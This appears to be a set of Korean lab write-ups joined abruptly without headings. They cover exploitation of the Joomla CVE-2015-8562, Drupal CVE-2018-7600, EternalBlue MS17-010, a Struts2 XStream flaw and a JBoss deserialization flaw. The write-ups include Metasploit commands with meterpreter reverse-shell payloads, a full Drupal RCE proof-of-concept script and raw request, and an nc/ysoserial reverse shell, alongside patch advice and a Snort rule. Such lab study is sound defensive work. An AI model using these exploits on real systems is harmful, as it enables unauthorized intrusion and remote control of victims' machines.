- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점
- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨
영향받는 버전 - 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x - PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45
2.1 실습
- Joomla를 설치 하였으나, [사진 1] 에러가 발생
※ 구글링 조회 결과를 바탕으로 실습 보고서 작성
[사진 1] 취약한 서버 구동
- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인
- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)
msf6 > use auxiliary/scanner/http/joomla_version
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run
[사진 2] Scan 수행(위) 및 취약한 경우 결과(아래)
- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)
[사진 3] PHP 버전 조회
- CVE-2015-8562 모듈을 다운로드하여 실습 진행
- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole
msf6 > use exploit/multi/http/joomla_http_header_rce
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit
[사진 4] exploit 수행
- 위 패킷을 와이어샤크로 확인해보면 다음과 같음
[사진 5] 패킷 덤프
- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨
※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블
[사진 6] 익스플로잇 전(좌) 후(우) 테이블 비교
2.2 분석
- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장
- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌
- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장
- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음
- 취약한 Drupal의 Form API Ajax 요청 프로세스에서 입력값 검증이 제대로 이루어지지 않아 공격자로부터 악의적인 코드를 실행할 수 있음
영향받는 버전 - Drupal 7.58 이전 버전 - Drupal 8.3.9 이전의 8.x - Drupal 8.4.6 이전의 8.5.x - Drupal 8.5.1 이전의 8.5.x
2.1 분석
- Drupal에서 Form API는 Renderable Arrays, 배열을 사용 - 랜더링 배열은 "#"로 시작하는 키-값 구조 - #post_render 배열은 브라우저에 특정 부분을 랜더링하는 역할 수행 - #post_render 배열에 시스템 명령 함수를, 배열의 인자인 #markup에 시스템 명령어를 삽이하면, 해당 명령이 실행됨
[사진 2] 예시
2.1 실습
- 취약한 서버 실행
git clone https://github.com/vulhub/vulhub
cd /vulhub/drupal/CVE-2018-7600
docker-compose up -d
- PoC 실행 후 Check에서 확인되는 URL에 접근 시 hello.txt의 내용 확인 가능
[사진 7] hello.txt
- 와이어샤크를 통해 확인해보면 다음과 같음
[사진 8] Exploit 수행(좌) 및 결과(우)
- id 명령어 삽입 및 수행 결과 정상 반환 등 다른 명령어 또한 삽입이 가능
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
[사진 9] id 명령어 삽입(위) 및 와이어샤크(아래)
2.2 PoC
- PoC를 통해 다음을 확인할 수 있음
① form_id=user_register_form // user_register_form은 가입하기 양식 전체의 form_id
② _drupal_ajax=1 // ajax 사용
③ mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id // 실제 공격이 발생하는 지점
#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
3. 대응방안
3.1 서버측면
- 패치 적용
버전
패치 버전
Drupal 7.x 버전대
7.58 버전
Drupal 8.3.x 버전대
8.3.9 버전
Drupal 8.4.x 버전대
8.4.6 버전
Drupal 8.5.x 버전대
8.5.1 버전
3.2 네트워크 측면
- 원격 명령 삽입이 가능한 랜더링 배열을 탐지하는 정책을 설정
#access_callback : Drupal에서 현재 사용자가 요소에 액세스할 수 있는지 여부를 결정하는 데 사용 #pre_render : 렌더링하기 전에 렌더링 배열을 조작 #lazy_builder : 렌더링 프로세스의 맨 마지막에 요소를 추가하는 데 사용 #post_render : 렌더링 프로세스의 결과를 받고 주변에 래퍼를 추가
- 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어짐
- 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
버전
설명
SMBv1
- MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜 - 보안을 고려하지 않고 만들어져, 윈도우 침투에 자주 악용하는 루트로 이용 - 보안 결함에도 불구하고 호환성 및 구현이 쉬워 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원
SMBv2
- 2006년 제작되어 Windows Vista부터 탑재 - 이전 버전과의 호환성은 전혀 없음 > Windows XP 이하의 운영체제에서는 사용할 수 없음 - 속도와 보안 모두 기존보다 월등 - 일반 사용자는 SMBv2로도 아직까지 충분
SMBv3
- SMBv2에 속도 최적화 및 각종 기능을 추가한 것 - 2012년에 제작되어 Windows 8부터 탑재 - SMBv2와도 통신이 가능 - SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것
2. 이터널블루 (EthernalBlue)
- 미 국가안보국(NSA)의 해킹 도구
- SMB 프로토콜의 원격코드 실행 취약점(MS17-010)을 이용
- 섀도우 브로커즈(Shadow Brokers) 해킹 그룹에 의해 유출
※ 더블펄서(DoublePulsar)는 이터널블루 익스플로잇에 의해 설치되며, 이미 감염된 시스템에서 악성코드 삽입 및 실행을 위한 백도어로, 워너크라이 랜섬웨어 공격에서 이터널블루와 함께 사용
- MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 명령 실행이 가능
- OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 발생하는 오류로 인해 발생하는 취약점
- 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능
- SMB 클라이언트를 공격해 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점 트리거 가능
- 해당 취약점을 이용해 워너크라이 랜섬웨어를 유포
영향받는 버전 - Windows 10 - Windows 8.1 - Windows RT 8.1 - Windows 7 - Windows Server 2016 - Windows Server 2012 R2 - Windows server 2008 R2 SP1 SP2
취약점명
CVE 번호
MS 번호
Windows SMB 원격 코드 실행 취약점
CVE-2017-0143
MS17-010
CVE-2017-0144
CVE-2017-0145
CVE-2017-0146
CVE-2017-0147
3.1 실습
희생자 PC - OS : Windows 7 Ultimate x64 - IP : 192.168.56.116
공격자 PC - OS : Kali Linux - IP : 192.168.56.102
- 희생자 PC에 SMB Port가 열려 있는지 확인
[사진 1] 445/TCP open
- 메타스플로잇 실행
service postgresql start
msfconsole
[사진 2] 메타스플로잇 실행
- ms17_010 모듈 실행 및 옵션 설정
- iso를 변경하면서 시도하였지만, NOT appear vulnerable이 확인
※ 아래부터 보고서를 기준으로 작성
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.116
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[사진 3] 패치된 버전으로 인해 취약점 없음
- 취약한 서버일 경우 [+]로 정보가 표시
[사진 4] 취약 서버 확인
- EternalBlue를 설치하여, 메타스플로잇 프레임워크에 추가
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/
[사진 5] 이터널블루 설치 및 추가
- 이터널블루-더블펄서 모듈 실행
msfconsole
msf6 > use exploit/windows/smb/eternalblue_doublepulsar
msf6 exploit(windows/smb/eternalblue_doublepulsar) > show options
[사진 6] 옵션 설정
- 익스플로잇 전 대상의 아키텍처와 IP 등 옵션을 설정
옵션
설명
DOUBLEPULSARPATH
더블펄서 경로 지정
ETERNALBLUEPATH
이터널블루 경로 지정
PROCESSINJECT
악성코드가 들어갈 프로세스 지정 x64는 lsass.exe 사용
RHOSTS
공격 대상 IP
RPORT
445 (SMB Port)
TARGETARCHITECTURE
공격 대상 운영체제 버전 (x86, x64)
WINEPATH
/root/.wine/drive_c/
Exploit target
공격 대상 OS 설정
LHOST
로컬 IP 주소
payload
페이로드 생성
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set RHOSTS 192.168.56.116
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set target 8
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/eternalblue_doublepulsar) > set LHOST 192.168.56.102
[사진 7] 옵션 확인
- 익스플로잇 결과 피해 시스템으로부터 공격 시스템으로 세션이 설정
- 피해자 PC 정보 확인, 현재 경로 파일 확인, PC화면 캡쳐 등 악성 동작 수행 가능
※ /root/.wine/drive_c/eternal11.dll 관련 실패 메시지 발생 시 해당 경로에 디렉터리를 생성 ex) mkdir -p /root/.wine/drive_c/
- 취약한 버전의 Apache Struts2의 기본제공 플러그인 중 REST 플러그인이 XStream 인스턴스를 이용해 XML 역직렬화를 수행할 때 XStreamHandler에 입력값에 대한 검증을 수행하지않아 원격 명령을 실행할 수 있는 취약점
취약한 버전 - Apache Struts 2.1.2~2.3.33 - Apache Struts 2.5~2.5.12
3. 취약점 분석
3.1 실습
- 취약한 서버 구동 및 IP 확인
[사진 2] 취약 서버 구동 및 IP 확인
- Nmap을 통해 실행 중인 서비스와 버전 식별
- -A 옵션 : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로 추적)
nmap -A 192.168.56.113
[사진 3] Nmap 수행 결과
- Nmap 수행 결과를 통해 /orders.xhtml 접속
[사진 4] orders.xhtml(좌) 및 사용자 탐색(우)
- Metasploit을 통한 공격 수행
$ msfconsole
msf6 > use exploit/multi/http/struts2_rest_xstream
msf6 exploit(multi/http/struts2_rest_xstream) > set rhost 192.168.56.113
msf6 exploit(multi/http/struts2_rest_xstream) > set rport 80
msf6 exploit(multi/http/struts2_rest_xstream) > set TARGETURI /orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > set lhost 192.168.56.102
msf6 exploit(multi/http/struts2_rest_xstream) > set lport 4444
msf6 exploit(multi/http/struts2_rest_xstream) > show options
msf6 exploit(multi/http/struts2_rest_xstream) > exploit
- 취약한 대상으로 공격을 위한 위 설정값을 적용한 후 show options로 제대로 적용되었는지 확인
[사진 5] option 적용 확인
- exploit을 수행하면 리버스쉘이 생성되며, 피해 시스템의 root 권한을 탈취 가능
[사진 6] exploit 성공
- 해당 패킷을 와이어샤크로 확인하면 다음과 같음
[사진 7] 와이어샤크
3.2 분석
- 취약점이 발생한 REST 플러그인은 XML 및 JSON 형식에 대한 직렬화 및 역직렬화 지원
- 취약한 버전의 XStreamHandler.java를 확인해보면 다음과 같은 사항이 존재
① XStreamHandler는 ContentTypeHandler 상속 받음(Line 33) ② XStreamHandler는 사용자에게 전달 받은 값을 Xstream을 이용해 데이터 처리 (역직렬화 수행) ③ XStreamHandler는 ContentTypeHandler의 toObject를 호출 (Line 45) ④ XStreamHandler는 "Content-Type"이 "application/xml"인 요청이 들어올 경우 처리 (Line 53) - 3.3 PoC 분석에서 공격자들은 "Content-Type"을 "application/xml"로 변조
[사진 8] 취약한 버전의 XStreamHandler.java
- ContentTypeHandler의 toObject를 확인하면 검증 없이 입력값을 역직렬화 수행
- toObject의 첫번째 인수로 공격자가 조작한 입력값이 전달
[사진 9] 취약한 버전의 ContentTypeHandler.java
3.3 PoC 분석
- 공격자는 REST 플러그인을 이용할 수 있는 페이지에 XML 형식으로 데이터를 전송하여, 역직렬화를 진행하도록 데이터스트림 전달
- POST 메소드 요청 및 Content-Type': 'application/xml'로 변경
- 외부 프로세스를 실행할 때 쓰이는 java.lang.ProcessBuilder 클래스를 이용해 명령을 전달
- 자바 프로그램상에서 어떤 객체가 생성되면 그 객체는 메모리에 상주하게되고, 프로그램이 실행되는 동안 필요에 따라 사용.
- 프로그램이 종료되면 메모리에 있던 객체는 사라지게됨.
- 객체는 지금까지 프로그램이 사용하면서 저장한 데이터가 있으며, 다음 번 프로그램 실행 시에도 계속해서 사용해야 한다면 저장이 필요.
- 저장을 위해 객체를 바이트 스트림으로 변환하는 과정을 직렬화(Serialization),바이트 스트림을 다시 객체로 만들어 원래의 데이터를 불러오는 과정을 역직렬화(Deserialization)라고 함.
[사진 1] 직렬화 및 역직렬화
- 공격자가 원격에서 코드를 실행할 수 있는 RCE 공격으로 이어지기 때문에 매우 심각한 영향을 줄 수 있는 취약점
2. 취약점 실습
- 역직렬화에 취약한 웹 페이지 접속
[사진 2] 취약한 JBoss
- 역직렬화 데이터가 어떤 식으로 표시되는지 /invoker/JMXInvokerServlet 요청을 통해 확인
- 버프슈트를 통해 확인할 경우 필터의 "Filter byMIME type"에서 "Other binary" 체크
* 버프슈트의 필터는 기본적으로 일반적으로 사용되는 웹 응답 타입만 표시하기 때문
[사진 3] 필터 설정
- 응답값에서 "Content-Type: application/x-java-serialized-object"를 통해 직렬화된 데이터가 전달되고 있는 것을 알 수 있음
[사진 4] Content-Type
- 또한, 직렬화 데이터는 바디 시작 부분을 확인해 보면, aced0005가 확인
- 해당 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 뒤에 오는 데이터가 직렬화된 데이터라는 것을 알려주는 매직 바이트
[사진 5] aced0005
- ysoserial을 이용해 해당 취약점을 공격할 수 있음
ysoserial - URL : https://github.com/frohoff/ysoserial - 해외 연구원들이 프레임워크상에서의 RCE 발생과 관련된 연구 결과를 입증하기 위해 제작한 개념증명 도구 - Java 프로그램에서 임의의 사용자 명령을 실행할 수 있게 해주는 페이로드를 생성할 수 있음
[사진 6] ysoserial
- 공격자는 nc 명령 실행 후 대기
[사진 7] 터미널 생성
- 공격자가 생성한 터미널로 피해 시스템에서 접속하기 위한 페이로드를 ysoserial을 이용해 생성
- CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA에 있는 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문
- /invoker/JMXInvokerServlet 요청을 Repeater로 보낸 후 바디 부분에서 마우스 우클릭 > Paste from file을 통해 reverse.bin 파일 삽입
[사진 9] reverse.bin 파일 삽입
- 이후 요청을 전송하면 리버스쉘이 생성됨.
[사진 10] 리버스쉘 생성
3. 대응방안
① 아파치 CommonsCollections 패키지를 최신버전으로 업데이트 - 일일이 이러한 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, - 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을
- 항상 최신 버전으로 유지하는 것을 권장
② 만일 개발 프로젝트에서 자체적으로 역직렬화를 수행하는 경우 다음 사항 고려 필요 - 역직렬화 전에 반드시 인증 과정을 수행 - 출처를 알 수 없는 객체의 경우 역직렬화를 수행하지 않음 - 직렬화된 객체에 디지털 서명이 되도록 하여 역직렬화 과정에서 객체의 변조 여부를 점검 - 가급적 최소 권한으로, 가능하다면 격리된 환경에서, 역직렬화를 수행
③ 직렬화 데이터 탐지
- 직렬화된 데이터의 경우 aced0005 값을 포함하므로 해당 문자열을 탐지할 수 있는 Snort 적용
alert tcp any any -> any any (msg:"Java Deserialized Payload";flow:to_server,established; content:"|ac ed 00 05|";)